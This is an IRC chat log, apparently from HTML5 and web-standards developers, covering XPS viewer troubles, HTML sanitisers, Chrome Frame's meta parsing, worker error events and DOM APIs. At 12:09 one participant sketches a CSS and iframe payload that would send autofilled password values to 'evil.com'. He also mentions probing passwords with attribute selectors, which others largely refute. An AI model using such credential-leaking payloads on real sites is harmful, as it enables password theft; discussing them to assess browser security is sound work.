| 11:41 | <Philip`> | so I was not entirely impressed, and gave up |
| 11:42 | <Philip`> | s/no IE/not IE/ |
| 11:42 | <Philip`> | sirdarckcat: I'm not downloading hundreds of megabytes of office suite just to view something equivalent to a PDF |
| 11:43 | <sirdarckcat> | Microsoft XPS Viewer |
| 11:43 | <sirdarckcat> | Download the Microsoft XPS Viewer |
| 11:43 | <sirdarckcat> | Download size: 2.8 MB* |
| 11:43 | <Philip`> | That's what I was using |
| 11:43 | <sirdarckcat> | http://www.microsoft.com/whdc/xps/viewxps.mspx |
| 11:43 | <sirdarckcat> | oh |
| 11:43 | <sirdarckcat> | :( |
| 11:43 | <Philip`> | and it just used the wrong browser and then gave .NET errors |
| 11:44 | <zcorpan> | Philip`: clearly it's your fault for using the wrong browser |
| 11:46 | <gsnedders> | sirdarckcat: That isn't supported on my OS. |
| 11:46 | <sirdarckcat> | http://www.artifex.com/downloads/ |
| 11:46 | <sirdarckcat> | .. |
| 11:46 | <sirdarckcat> | haha |
| 11:46 | Philip` | attempts to reproduce |
| 11:46 | <Philip`> | Double click on file in Explorer: download dialog pops up in Opera |
| 11:46 | <Philip`> | "Open with" is XPSViewer.exe |
| 11:47 | <Philip`> | Clicking "Open" opens another download dialog in Opera |
| 11:47 | <sirdarckcat> | haha |
| 11:48 | <sirdarckcat> | the html5 sanitizer looks very good |
| 11:48 | <Philip`> | Pasting the URL into IE spends twenty seconds thrashing the disk (obviously it's competing with Acrobat) and then says "An error occurred in the application you were using" in the normal IE error page style |
| 11:48 | <Philip`> | because of a System.Reflection.TargetInvocationException because of a System.UriFormatException |
| 11:49 | <Philip`> | because there was a colon (':') present but the port could not be parsed |
| 11:49 | <Philip`> | (I guess the URL is "C:\Users\...", because "file:///..." automatically gets converted into that in the address bar) |
| 11:50 | <Philip`> | (unless it's just confused by parsing file:///C:/...) |
| 11:50 | <Philip`> | So, yes, not a good impression of XPS |
| 11:50 | <Philip`> | (and I don't think I've done anything weird on this computer, other than installing browsers and Visual Studio and stuff) |
| 11:51 | <Philip`> | sirdarckcat: I think the way the html5lib sanitiser handles attribute values (particularly CSS) is nasty and ugly |
| 11:52 | <jgraham> | Yeah the CSS handling is really nasty |
| 11:52 | <sirdarckcat> | hmm.. if XP is the bastard child of XD and :P, XPS should have something to do with :S, so that explains it I guess |
| 11:52 | <jgraham> | The overall code isn't especially beautiful (the ginat nested if statement) |
| 11:52 | <jgraham> | But it seems to work pretty well |
| 11:52 | <sirdarckcat> | I'll check it out, but anyway most of the dangerous CSS attributes are gone arent they? url(javascript) expression, moz-binding |
| 11:54 | jgraham | might rewrite it someday |
| 11:54 | <Philip`> | It seems like quite a few people actually use the sanitiser for real, so it's seemingly important and useful |
| 11:55 | <sirdarckcat> | btw.. have u guys heard about |
| 11:55 | <sirdarckcat> | reading HTML attributes with CSS |
| 11:56 | <sirdarckcat> | the seamless attribute in iframe just made it more dangerous |
| 11:59 | <sirdarckcat> | anyway, I have to go, thanks for your time guys |
| 11:59 | <Philip`> | How so? |
| 11:59 | <Philip`> | Oh |
| 12:09 | <Philip`> | Maybe he means <style>input[type=password] { background-image: "http://evil.com/capture?" attr(value); }</style><iframe seamless src=http://innocent-site.com/autofilled-login></iframe> or something like that |
| 12:10 | <Philip`> | which sounds bad if there's not some difficulty I'm missing |
| 12:11 | <Philip`> | (I have no idea if that CSS syntax is right, but I assume there's something similar) |
| 12:12 | <annevk2> | you cannot use attr inside url() |
| 12:13 | <Philip`> | Even without attr, you can do stuff like use selectors to detect whether the password value contains 'a', whether it contains 'b', etc |
| 12:13 | <annevk2> | note that seamless only works same-origin |
| 12:13 | <Philip`> | (That's what some example in a PowerPoint slide somewhere does) |
| 12:14 | <Philip`> | Oh, it does? |
| 12:14 | <annevk2> | you cannot do much more than you can do already with JavaScript afaict |
| 12:14 | <annevk2> | "Specifically, when the attribute is set on an element and while the browsing context's active document has the same origin as the iframe element's document ..." |
| 12:14 | <Philip`> | Sounds like XSS is irrelevant then |
| 12:15 | <Philip`> | so that's okay |
| 12:23 | <annevk2> | http://twitpic.com/iqyre lol |
| 12:30 | <zcorpan> | hmm, the font doesn't work |
| 12:52 | <Lachy> | zcorpan, is that X in the top corner the webfonts test? |
| 12:52 | <zcorpan> | Lachy: yes |
| 12:53 | <zcorpan> | it uses the Ahem font, so the glyph for "X" should be a square that covers the red background |
| 12:54 | <Lachy> | that test fails in Chrome as well, so the bug isn't specific to the IE plugin |
| 12:54 | <zcorpan> | oh |
| 12:54 | <zcorpan> | i thought web fonts worked in chrome |
| 12:55 | <Lachy> | might work in Chromium by now, but Chrome 3.0 is failing for me |
| 12:56 | <annevk2> | also fails in Chrome nightlies on Ubuntu |
| 12:57 | <zcorpan> | it stops at 99 after history navigation |
| 12:57 | <zcorpan> | kungFuDeathGrip is null |
| 12:58 | <annevk2> | oh, I do get 100/100 |
| 12:59 | <zcorpan> | i have chromium on mac, though i don't know how often it updates |
| 13:00 | <annevk2> | my latest Chromium also goes to 99/100 |
| 15:02 | <Philip`> | Rik|work: http://code.google.com/chrome/chromeframe/ says it's open-source and they wouldn't lie to us |
| 15:02 | <Rik|work> | no, they wouldn't, of course |
| 15:03 | <AryehGregor> | (I was really somewhat including the whole open-source ideology in the term "open-source", not just the OSI definition.) |
| 15:03 | <Rik|work> | btw, Chrome isn't open source, Chromium is |
| 15:04 | <AryehGregor> | Yes, yes, Chrome is only 99% open-source, I know. |
| 15:04 | <Philip`> | Rik|work: http://src.chromium.org/svn/trunk/src/chrome_frame/ |
| 15:10 | <Philip`> | http://src.chromium.org/svn/trunk/src/chrome_frame/utils.cc |
| 15:11 | hsivonen | wonders how HTMLScanner deals with <script> and conditional comments |
| 15:12 | <Philip`> | Looks like it just tokenizes and looks for <meta> tags before <body> tags |
| 15:12 | <hsivonen> | it would be "fun" for the flowchart if those are handled differently from how IE itself handles X-UA-Compatible |
| 15:12 | <hsivonen> | is HTMLScanner an approximative hack or a real tokenizer? |
| 15:13 | <Philip`> | It's a hack |
| 15:13 | <hsivonen> | "fun" |
| 15:13 | <Philip`> | http://src.chromium.org/svn/trunk/src/chrome_frame/html_utils.cc |
| 15:14 | <Philip`> | Looks like it's basically splitting strings on spaces and '=' and '/', if I'm not mistaken |
| 15:14 | <Philip`> | (which I quite possibly am) |
| 15:14 | <Philip`> | when searching for attribute names |
| 15:15 | <Philip`> | so presumably it's going to fail on unquoted content=chrome=1 |
| 15:15 | <hsivonen> | has anyone on this channel happened to analyze how CNN video pages like http://www.cnn.com/video/#/video/offbeat/2009/09/23/wilhelm.ks.50.states.90.secs.kwch put the text in the layout? |
| 15:16 | <Philip`> | Oh, also it's going to fail on <meta http-equiv="x-ua-compatible" content="chrome=1"> because it does string checks for x-ua-compatible first, I think |
| 15:17 | <zcorpan> | that's ok because charset meta detection fails for that, too |
| 15:17 | <Philip`> | And once it's found the x-ua-compatible content attribute value, it does a case-insensitive check for the substring "chrome=" |
| 15:18 | <zcorpan> | ascii case-insensitive? |
| 15:19 | <Philip`> | I think so |
| 15:19 | <Philip`> | but it's whatever Win32 StrStrI does |
| 15:20 | <Philip`> | There's also a registry setting which can give a list of "opt-in" URLs to always be rendered with Chrome |
| 15:20 | Philip` | doesn't know who does the opting in, but assumes it's Google |
| 15:22 | <zcorpan> | why does a runtime error in a worker fire a ErrorEvent while a runtime error in <script> invokes the onerror function with three arguments? |
| 15:22 | <Philip`> | Also, the MIME type isn't (as stated) application/chromeframe, it's application/chromepage |
| 15:23 | <hsivonen> | w00t! I get text on CNN again. |
| 15:23 | <annevk2> | zcorpan, I believe because implementors didn't want the complexity |
| 15:24 | <hsivonen> | woohoo! Live DOM works again too |
| 15:24 | <annevk2> | zcorpan, I'd complain :) |
| 15:24 | <hsivonen> | Philip`: documentation FTW! Like MSDN :-) |
| 15:26 | <Philip`> | hsivonen: Documentation? What documentation? |
| 15:26 | <Philip`> | Newsgroup postings are all we get :-) |
| 15:27 | <Philip`> | At least Microsoft does actually write technical documentation |
| 15:34 | <zcorpan> | annevk2: hmm, actually, workers says to "report the error", which invokes the function with three arguments |
| 15:35 | <zcorpan> | annevk2: but then also fires an event if the error was "not handled" |
| 15:36 | <zcorpan> | which seems broken |
| 15:37 | <zcorpan> | unless i'm missing something |
| 15:41 | Mrmil | thinks "Bloody hell" if Hixie is the only author of whole canvas element. |
| 15:41 | <AryehGregor> | Mrmil, he's the only author of the entire HTML5 spec, more or less. |
| 15:42 | <Philip`> | You can blame him for everything |
| 15:42 | <AryehGregor> | That's the awesome part about a single-editor spec, you always know who to blame. |
| 15:43 | <hsivonen> | Mrmil: he has authored the spec text but he didn't design canvas |
| 15:43 | <AryehGregor> | It's so hard to hold effective grudges against a whole Working Group or whatever for not reaching consensus to implement your pet change. |
| 15:43 | <Mrmil> | Hehehe |
| 15:44 | <Mrmil> | hsivonen: aha, looks pretty complex... |
| 15:45 | <Mrmil> | Is HTML5 the only canvas api documentation so far? |
| 15:46 | <Mrmil> | (HTML5 spec I meant) |
| 15:46 | <Philip`> | Apple and Mozilla have documentation, and there's various tutorials and things out there |
| 15:46 | <hsivonen> | Mrmil: Apple had docs when they did the first iteration of canvas |
| 15:47 | <zcorpan> | i think opera has some canvas tutorials |
| 15:48 | <Mrmil> | I'm following this one https://developer.mozilla.org/en/Canvas_tutorial but feel like I don't have legs and arms without having some sort of nice, organised and searchable documentation :) |
| 15:48 | <zcorpan> | e.g. http://dev.opera.com/articles/view/html-5-canvas-the-basics/ |
| 15:48 | <zcorpan> | Mrmil: there's a cheat sheet which might be helpful |
| 15:49 | <Mrmil> | zcorpan: cool, you mean on the opera tut site? |
| 15:49 | <zcorpan> | no here http://blog.nihilogic.dk/2009/02/html5-canvas-cheat-sheet.html |
| 15:50 | <Mrmil> | zcorpan: ok, thx |
| 15:51 | <gsnedders> | zcorpan: I can. I won't, at the moment. :P |
| 15:51 | <zcorpan> | gsnedders: ok |
| 15:52 | <zcorpan> | gsnedders: any progress on web dom core? |
| 15:52 | <gsnedders> | zcorpan: I've done no web stuff this month |
| 15:52 | <zcorpan> | ok |
| 15:53 | <gsnedders> | Heck, I've not been at a computer that much this month |
| 15:53 | <gsnedders> | (And no, I'm not writing web dom core tests on paper :P) |
| 15:53 | <annevk2> | gsnedders, when are you back? |
| 15:53 | <gsnedders> | annevk2: Oct 5th |
| 15:53 | <hsivonen> | gsnedders: do you own Web DOM Core now? |
| 15:54 | <gsnedders> | hsivonen: I hope I haven't quite made that mistake yet. |
| 15:54 | <annevk2> | gsnedders, ah, I'll likely be around then |
| 15:54 | <gsnedders> | annevk2: in se? |
| 15:54 | <annevk2> | ja |
| 16:02 | <jgraham> | Is it me or are Google unusually bad at publishing accurate technical information |
| 16:21 | <TabAtkins> | Ooh, only a single spam made it through the filters last night. Those "you've won 1M british pounds" things are annoyingly good at getting through gmail's filters. |
| 16:22 | gsnedders | wonders what the best uni he could get into is… |
| 16:22 | <zcorpan> | hmm, seems i was confusing the WorkerGlobalScope's onerror with the Worker's onerror |
| 16:24 | <hsivonen> | I can again say that document.write() is an insane amount of work on top of the parser code |
| 16:24 | <zcorpan> | still, having different code in self.onerror and dedicatedworker.onerror seems a bit weird |
| 16:24 | <hsivonen> | I now have a setup going where the network stream and document.writes and parsed using separate parser core instances that sync their internal state appropriately |
| 16:24 | <jgraham> | gsnedders: Depends if you mean |break in at night" or not |
| 16:25 | <gsnedders> | jgraham: not :P |
| 16:25 | <hsivonen> | I guess I should now try edge cases... |
| 16:25 | <jgraham> | Well I don't recommend breaking in during the day |
| 16:25 | <jgraham> | Although possibly if you just walk in and pretend to be a student no one will notice |
| 16:25 | <hsivonen> | s/and parsed/are parsed/ |
| 16:25 | <jgraham> | Especially if you go to lectures but not any at 9am |
| 16:26 | <jgraham> | And turn up late |
| 16:26 | <gsnedders> | Obviously the solution is to have done better last year… |
| 16:27 | <jgraham> | And not to ask questions in IRC channels with unhelpful people in |
| 16:28 | <zcorpan> | jgraham: don't end a sentence with a preposition |
| 16:28 | <miketaylr> | zcorpan: why wouldn't he want to? |
| 16:29 | miketaylr | kids |
| 16:29 | <zcorpan> | jgraham: btw i fixed assertThrows |
| 16:30 | <jgraham> | zcorpan: Nice. |
| 16:30 | jgraham | hasn't looked yet |
| 16:33 | <annevk2> | hsivonen, this really gives a perf benefit? |
| 16:33 | annevk2 | would think the bottleneck is not parsing |
| 16:33 | <hsivonen> | annevk2: dunno yet |
| 16:34 | <hsivonen> | this will have sucked pretty big time if it won't |
| 16:34 | <hsivonen> | but clearly the people who suggested parsing SVG islands as XML haven't tried doing this |
| 16:34 | <annevk2> | parsing is so fast compared to layout and scripting... |
| 16:35 | <hsivonen> | annevk2: the idea is to also speculate and start GETs early |
| 16:35 | <annevk2> | hsivonen, heh, I never really took that seriously as I was pretty sure it wouldn't work |
| 16:35 | <jgraham> | annevk2: Maybe if you have megabytes of SVG inline then parsing will become slow |
| 16:36 | <zcorpan> | slower than megabytes of HTML? |
| 16:37 | <hsivonen> | I expect the main benefit to come from being able to parse the tail of the document while the main thread waits for an external script to load |
| 16:37 | <zcorpan> | i guess fixing up attributes is a bit of an overhead with svg |
| 16:37 | <hsivonen> | but I don't have that part yet |
| 16:37 | <hsivonen> | zcorpan: the attribute fixup takes no time |
| 16:37 | <hsivonen> | zcorpan: it's been paid in RAM footprint |
| 16:38 | <zcorpan> | hsivonen: ok, cool |
| 16:38 | <jgraham> | zcorpan: I guess misnested formatting elements are the only really slow thing |
| 16:38 | <jgraham> | and they're in HTML |
| 16:40 | <raggsy> | Hi, question: Is there currently any way of detecting the support of DataTransfer.files in the browser? |
| 16:41 | <zcorpan> | raggsy: sure, just check that .files is not undefined |
| 16:42 | <raggsy> | zcorpan: to clarify, I mean onload. so that I can provide interface A if available, otherwise interface B. |
| 16:42 | <raggsy> | dataTransfer.files comes with the event only as far as I know? |
| 16:44 | <zcorpan> | hmm yeah |
| 16:45 | <raggsy> | I'm testing dnd from the desktop & uploading via xhr2 and I'd like to provide the interface if the browser supports it, but I can see no way of detecting that without vendor/version sniffing... |
| 16:46 | <zcorpan> | i thought maybe you could check the prototype of DataTransfer, but firefox throws |
| 16:46 | <zcorpan> | and DataTransfer is undefined in webkit |
| 16:46 | <zcorpan> | or maybe i have an old webkit |
| 16:47 | <zcorpan> | why does firefox throw? security reasons? |
| 16:48 | <zcorpan> | it also throws for Event.prototype |
| 16:50 | <zcorpan> | Event.prototype doesn't throw in webkit, though |
| 16:51 | <zcorpan> | raggsy: in theory you could check DataTransfer.prototype.files |
| 16:53 | <jgraham> | zcorpan: Have you checked it actually defines the properties on the prototype object rather than somewhere odd |
| 16:53 | <Philip`> | hsivonen: You should have written the parser and browser in Haskell, so you can simply fork the state before speculatively parsing and throw it all away if a script does something funny |
| 16:53 | <zcorpan> | jgraham: how would i check that? |
| 16:54 | <gsnedders> | Is it Thursday or Friday today? |
| 16:55 | <Philip`> | gsnedders: Yes |
| 16:55 | <Rik|work> | depends on your local time I guess |
| 16:55 | <gsnedders> | Which day of the week is it currently in UTC+1? |
| 16:55 | <zcorpan> | http://isitfriday.biz/ |
| 16:55 | <Philip`> | gsnedders: Thursday |
| 16:56 | <gsnedders> | zcorpan, Philip` Thank you. |
| 16:56 | <Philip`> | Glad to be of assistance |
| 16:59 | <jgraham> | zcorpan: Seems to be some security reasons, yes |
| 17:02 | <raggsy> | zcorpan: sorry you lost me a bit there. Are you & jgraham saying it's due to security reasons that the browser won't reveal if it supports DataTransfer.files before the event? |
| 17:11 | <jgraham> | raggsy: Doing "files" in DataTransfer.prototype works |
| 17:11 | <jgraham> | (was it obvious which bit of that was code?) |
| 17:12 | <jgraham> | if("files" in DataTransfer.prototype) {/*there is a files property*/} |
| 17:13 | <jgraham> | What doesn't work is tro try doing if(DataTransfer.prototype.files !== undefined){} |
| 17:14 | <raggsy> | jgraham: got it. I was trying typeof and getting nothing back. |
| 17:52 | Hixie | prepares to get depressed |
| 17:54 | <othermaciej> | what do you expect to depress you? usability testing? |
| 17:54 | <Hixie> | yeah |
| 17:54 | <Hixie> | wow you're up early |
| 17:55 | <othermaciej> | HTML WG telecon today |
| 17:57 | <hsivonen> | Hixie: today is the big day? |
| 17:57 | <hsivonen> | the usability test day that is |
| 17:58 | <Hixie> | day 1 of 2 |
| 17:58 | <hsivonen> | Hixie: can you disclose how you recruit participants? |
| 17:58 | <Rik|work> | what usability tests ? |
| 17:59 | <Hixie> | hsivonen: no idea, actually. |
| 17:59 | <Hixie> | hsivonen: we have a recruiting team or something who do that kind of thing |
| 17:59 | <Hixie> | hsivonen: we give them some criteria, and they bring back some people |
| 18:00 | <Philip`> | Can you disclose the criteria? |
| 18:00 | <hsivonen> | Hixie: that's a convenient abstraction :-) |
| 18:00 | <Hixie> | Philip`: web developers who know and use CSS, and aren't involved in the html5 development process at all |
| 20:21 | <Philip`> | miketaylr: You could write <table><tr><td>Slippery content <!-- | --></table> as a barrier to stop the content looking like it'll slide out easily |
| 20:21 | <miketaylr> | :) |
| 20:21 | <miketaylr> | or i could just hold my laptop more steadily |
| 21:25 | <othermaciej> | Hixie: does HTML5 specify "cut", "copy", "paste" and "beforepaste" events? |
| 21:36 | <erlehmann> | ahaha http://evan-roth.com/all-tags.html |
| 21:38 | <Philip`> | <!-- Using (almost) all non-depriciated HTML tags from http://www.w3schools.com/tags/default.asp --> |
| 21:38 | <Philip`> | That's a good start |
| 21:39 | <Dashiva> | <script> kinda ruins it all by itself |
| 21:42 | <Steve^> | only 49 validation errors |
| 21:42 | <Steve^> | *47 |
| 21:46 | <Philip`> | Steve^: On validator.nu? |
| 21:46 | <Philip`> | That number is meaningless because some errors are masking lots of other errors |
| 21:58 | <Steve^> | Philip`, indeed |
| 22:01 | <Hixie> | othermaciej: no, it just reuses the drag-and-drop events |
| 22:02 | <othermaciej> | Hixie: shouldn't "cut", "copy", "paste" and "beforepaste" be required for implementations at least, for compatibility with existing content? |
| 22:06 | <othermaciej> | Hixie: also, even if it makes sense to say everything draggable should be copyable, I don't think it makes sense to require that every time in the UI you can use the Copy command, you can also drag |
| 22:06 | <othermaciej> | that's not how native UIs work |
| 22:07 | <Hixie> | it's not clear to me how else to make copy and paste work |
| 22:07 | <hsivonen> | has anyone yet done a post mortem on how local storage got into so many browsers before the concurrency problems were considered on the current level of detail? |
| 22:08 | <othermaciej> | Hixie: how about via the copy/paste events that browsers already support and which are used by content? |
| 22:21 | <Philip`> | hsivonen: Maybe the process was something like "Ooh, shiny! *hack* *hack* *hack* *release*"? |
| 22:28 | <Hixie> | othermaciej: are those good? it seems like they would encourage authors to only support drag and drop and not copy and paste, since they'd have to implement both to get both. |
| 22:28 | <Hixie> | hsivonen: i don't know that there's more to it than Philip` said |
| 22:28 | <othermaciej> | Hixie: I don't see how that conclusion follows - one could certainly support copy/paste events while making drag/drop events also work via the copy/paste UI |
| 22:29 | <othermaciej> | Hixie: in fact, that is what browsers will have to do anyway if they implement the HTML5 spec as written and choose not to break existing content |
| 22:29 | <othermaciej> | Hixie: so it would be nice if there was a spec that describes how it works |
| 22:29 | <Hixie> | othermaciej: is there much existing content using the current events? i haven't looked into it much. |
| 22:29 | <Hixie> | othermaciej: i guess it's something to add to the list http://wiki.whatwg.org/wiki/Companion_specifications |
| 22:36 | <othermaciej> | Hixie: you have to specify how they are sequenced with drag/drop events, if both occur in a copy/paste sequence - seems hard to do in a separate spec |
| 22:36 | <Hixie> | probably |
| 22:36 | <Hixie> | not gonna happen in html5 :-) |
| 22:36 | <Hixie> | happy to do it in the next version though |
| 22:37 | <othermaciej> | it's a potential interop problem for implementing what the spec says for drag/drop events |
| 22:37 | <othermaciej> | (though I don't know if implementations will actually be willing to hook up drag & drop events to the copy/paste UI) |
| 22:37 | <othermaciej> | anyway I'll send email or file a bug or something |
| 22:38 | <othermaciej> | I do believe there is significant content using the copy/paste events, but I don't have a quantitative study at hand |
| 22:39 | <Philip`> | Would that be stuff like oncopy in http://philip.html5.org/data/attr-count-pages-dotbot.txt (on ~0.1% of pages)? |
| 22:40 | <Hixie> | well you have to discount all the cases of pages that are just stopping people from copying |
| 22:40 | <Hixie> | or stopping people from pasting (e.g. into password fields) |
| 22:51 | <Philip`> | Oh, true |
| 23:16 | <zcorpan> | - <dd>Uses <code><a href=#htmlelement>HTMLElement</a></code>.</dd> |
| 23:16 | <zcorpan> | + <dd>Use <code><a href=#htmlelement>HTMLElement</a></code>.</dd> |
| 23:17 | <zcorpan> | Hixie: ^ mistake? |
| 23:17 | <Hixie> | no |
| 23:17 | <Hixie> | :-) |
| 23:18 | <zcorpan> | ah |
| 23:27 | <Lachy> | is there anyone from webkit here who can explain why Element.webkitMatchesSelctor() doesn't work in the latest nightly? https://bugs.webkit.org/show_bug.cgi?id=29703 - The bug says it landed in r48723, and I have r48730 installed |
| 23:28 | <Lachy> | weinig, ^ |
| 23:28 | <weinig> | Lachy: hm, not sure |
| 23:29 | <weinig> | tries it out |
| 23:32 | <weinig> | Lachy: it seems to be working for me in the latest nightly |
| 23:32 | weinig | will upload a test case |
| 23:34 | <weinig> | Lachy: what score do you get on https://bug-29703-attachments.webkit.org/attachment.cgi?id=40087 ? |
| 23:34 | <weinig> | JohnResig: are you around? |
| 23:34 | <Lachy> | 99.2%: 2406 passed, 20 failed |
| 23:34 | <weinig> | ok, then that is it working |
| 23:34 | <Lachy> | it's failing the webkitMatchesSelector tests |
| 23:35 | <weinig> | all of them? |
| 23:35 | <Lachy> | yes, all 4 of them |
| 23:36 | <weinig> | that test has a lot more than 4 |
| 23:36 | <weinig> | we are failing the "no value" ones |
| 23:36 | <Lachy> | ok, then it must be passing the rest. |
| 23:36 | <weinig> | yes |
| 23:36 | <Lachy> | that's weird. Not working for me in the live dom viewer |
| 23:37 | <weinig> | Lachy: odd |
| 23:38 | <Lachy> | ah, nevermind. I made a stupid error |
| 23:39 | <Lachy> | missed the [0] on the end of getElementsByTagName("p"); so it was trying to do it on the NodeList. |
| 23:39 | <weinig> | :) |
| 23:40 | <weinig> | Lachy: I used the same rules as querySelector/all with regards to stringifying null/undefined (we do it), throwing on the empty string, and throwing if any of the selectors need namespace resolution |
| 23:40 | <zcorpan> | Hixie: is it intended that WorkerGlobalScope's onerror's function is invoked with three arguments (which the spec says, afaict), rather than firing an ErrorEvent at the WorkerGlobalScope (which is what firefox does)? |
| 23:41 | <Hixie> | yes |
| 23:41 | <Hixie> | like window.onerror |
| 23:41 | <weinig> | the only thing we fail on JohnResig's test is that we don't throw when you pass no arguments |
| 23:41 | <weinig> | Lachy: we treat that the same as passing undefined |
| 23:41 | <zcorpan> | Hixie: ok |
| 23:41 | <weinig> | not sure if that is a bug or not |
| 23:41 | <weinig> | but it is the same as qs/qsa |
| 23:42 | <Lachy> | I believe it's a bug. I think it should be a WRONG_ARGUMENTS_ERR |
| 23:44 | <zcorpan> | Lachy: WRONG_ARGUMENTS_ERR is an opera exception; web idl doesn't define yet what should happen with too few arguments i think |
| 23:44 | <zcorpan> | Lachy: html5 used to say to throw NOT_SUPPORTED_ERR but i can't find that anymore |
| 23:44 | weinig | had another question for heycam |
| 23:46 | <Lachy> | zcorpan, ok. In any case, the test suite is expecting an exception. Looks like it doesn't check which exception it is. I guess that's why |
| 23:50 | <Lachy> | weinig, so, is there any special, non-obvious behaviour for matchesSelector that I need to be careful about when speccing it? |
| 23:51 | <weinig> | Lachy: none that I ran into |
| 23:51 | <Lachy> | it does seem fairly trivial to define at first glance, since it can just be defined similarly to qSA |
| 23:51 | weinig | nods |
| 23:51 | Lachy | will spec it tomorrow |
| 23:52 | <weinig> | sweet! |
| 23:53 | <Lachy> | after this, I want to prioritise the scoped selector APIs, and handle both the ":scope>p" and the ones with the implied scope like ">em, >strong" |
| 23:56 | zcorpan | notes that Hixie has got the order wrong for "in" and "optional" in idl in web workers |
| 23:56 | <Hixie> | wonderful |
| 23:57 | <Hixie> | is it "optional in"? |
| 23:57 | <zcorpan> | in html5, too |
| 23:57 | <Hixie> | or "in optional"? |
| 23:57 | <zcorpan> | "in optional" |
| 23:57 | <zcorpan> | though "in" is optional! |
| 23:58 | <Hixie> | fixed |
| 23:58 | <zcorpan> | cool |
| 23:58 | <Lachy> | does anyone understand how Node.compareDocumentPosition() is supposed to work? DOM 3 Core is very badly defined. It's not at all clear how the return value is calculated |
| 23:59 | <Lachy> | and Firefox's implementation seems to be returning rather strange numbers that don't seem to mean anything obvious |